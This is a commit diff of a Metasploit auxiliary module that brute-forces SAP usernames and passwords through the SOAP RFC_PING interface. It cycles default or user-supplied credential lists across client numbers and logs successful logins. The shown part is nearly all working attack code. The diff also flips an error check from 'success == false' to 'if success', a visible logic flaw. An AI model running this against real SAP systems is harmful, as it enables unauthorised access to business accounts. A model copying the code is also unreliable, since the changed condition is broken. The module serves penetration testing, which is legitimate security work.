1
1
##
2
2
# This file is part of the Metasploit Framework and may be subject to
3
3
# redistribution and commercial restrictions. Please see the Metasploit
4
- # web site for more information on licensing and terms of use.
5
- # http://metasploit.com/
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework /
6
6
##
7
7
8
8
##
9
- # This module is based on, inspired by, or is a port of a plugin available in
10
- # the Onapsis Bizploit Opensource ERP Penetration Testing framework -
9
+ # This module is based on, inspired by, or is a port of a plugin available in
10
+ # the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11
11
# http://www.onapsis.com/research-free-solutions.php.
12
- # Mariano Nuñez (the author of the Bizploit framework) helped me in my efforts
12
+ # Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13
13
# in producing the Metasploit modules and was happy to share his knowledge and
14
- # experience - a very cool guy. I'd also like to thank Chris John Riley,
15
- # Ian de Villiers and Joris van de Vis who have Beta tested the modules and
14
+ # experience - a very cool guy. I'd also like to thank Chris John Riley,
15
+ # Ian de Villiers and Joris van de Vis who have Beta tested the modules and
16
16
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
17
17
##
18
18
@@ -28,20 +28,20 @@ class Metasploit4 < Msf::Auxiliary
28
28
def initialize
29
29
super (
30
30
'Name' => 'SAP SOAP RFC Brute Forcer (via RFC_PING)' ,
31
- 'Version' => '$Revision$' ,
32
31
'Description' => %q{
33
- This module attempts to brute force the username | password via an RFC interface (over SOAP).
34
- Default clients can be tested without needing to set a CLIENT.
35
- Common/Default user and password combinations can be tested without needing to set a USERNAME, PASSWORD, USER_FILE or PASS_FILE.
36
- The default usernames and password combinations are stored in ./data/wordlists/sap_default.txt.
32
+ This module attempts to brute force the username | password via an RFC
33
+ interface (over SOAP). Default clients can be tested without needing to set a
34
+ CLIENT. Common/Default user and password combinations can be tested without needing
35
+ to set a USERNAME, PASSWORD, USER_FILE or PASS_FILE. The default usernames and
36
+ password combinations are stored in ./data/wordlists/sap_default.txt.
37
37
} ,
38
- 'References' => [ [ 'URL' , 'http://labs.mwrinfosecurity.com' ] ] ,
38
+ 'References' => [ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/ ' ] ] ,
39
39
'Author' => [ 'Agnivesh Sathasivam' , 'nmonkee' ] ,
40
40
'License' => BSD_LICENSE
41
41
)
42
42
register_options ( [
43
- OptEnum . new ( 'CLIENT' , [ false , 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)' , '000,001,066' ] ) ,
44
- OptBool . new ( 'DEFAULT_CRED' , [ false , 'Check using the defult password and username' , true ] ) ,
43
+ OptString . new ( 'CLIENT' , [ false , 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)' , '000,001,066' ] ) ,
44
+ OptBool . new ( 'DEFAULT_CRED' , [ false , 'Check using the defult password and username' , true ] )
45
45
] , self . class )
46
46
register_autofilter_ports ( [ 8000 ] )
47
47
end
@@ -86,17 +86,17 @@ def run_host(ip)
86
86
credentials . each do |u , p |
87
87
client . each do |cli |
88
88
success = bruteforce ( u , p , cli )
89
- if success == true
90
- saptbl << [ datastore [ 'RHOST' ] , datastore [ 'RPORT' ] , cli , u , p ]
89
+ if success
90
+ saptbl << [ rhost , rport , cli , u , p ]
91
91
end
92
92
end
93
93
end
94
94
else
95
95
each_user_pass do |u , p |
96
96
client . each do |cli |
97
97
success = bruteforce ( u , p , cli )
98
- if success == true
99
- saptbl << [ datastore [ 'RHOST' ] , datastore [ 'RPORT' ] , cli , u , p ]
98
+ if success
99
+ saptbl << [ rhost , rport , cli , u , p ]
100
100
end
101
101
end
102
102
end
@@ -128,26 +128,24 @@ def bruteforce(username,password,client)
128
128
'Authorization' => 'Basic ' + user_pass ,
129
129
'Content-Type' => 'text/xml; charset=UTF-8' }
130
130
} , 45 )
131
- if res . code == 401
131
+ if res and res . code == 401
132
132
success = false
133
133
return success
134
- elsif res . code == 500
134
+ elsif res and res . code == 500
135
135
response = res . body
136
136
error . push ( response . scan ( %r{<faultstring>(.*?)</faultstring>} ) )
137
137
error . push ( response . scan ( %r{<message>(.*?)</message>} ) )
138
138
success = false
139
- elsif res . code == 200
139
+ elsif res and res . code == 200
140
140
success = true
141
141
return success
142
- elsif res . body =~ /Response/
143
- #puts res
144
142
end
145
- if success == false
146
- err = error . join ( ) . chomp
147
- print_error ( "#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } -#{ err } - #{ client } :#{ username } :#{ password } " )
143
+ if success
144
+ err = error . join . chomp
145
+ print_error ( "[SAP] #{ rhost } :#{ rport } - #{ err } - #{ client } :#{ username } :#{ password } " )
148
146
end
149
147
rescue ::Rex ::ConnectionError
150
- print_error ( "#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } - Unable to connect" )
148
+ print_error ( "[SAP] #{ rhost } :#{ rport } - Unable to connect" )
151
149
return
152
150
end
153
151
end
0 commit comments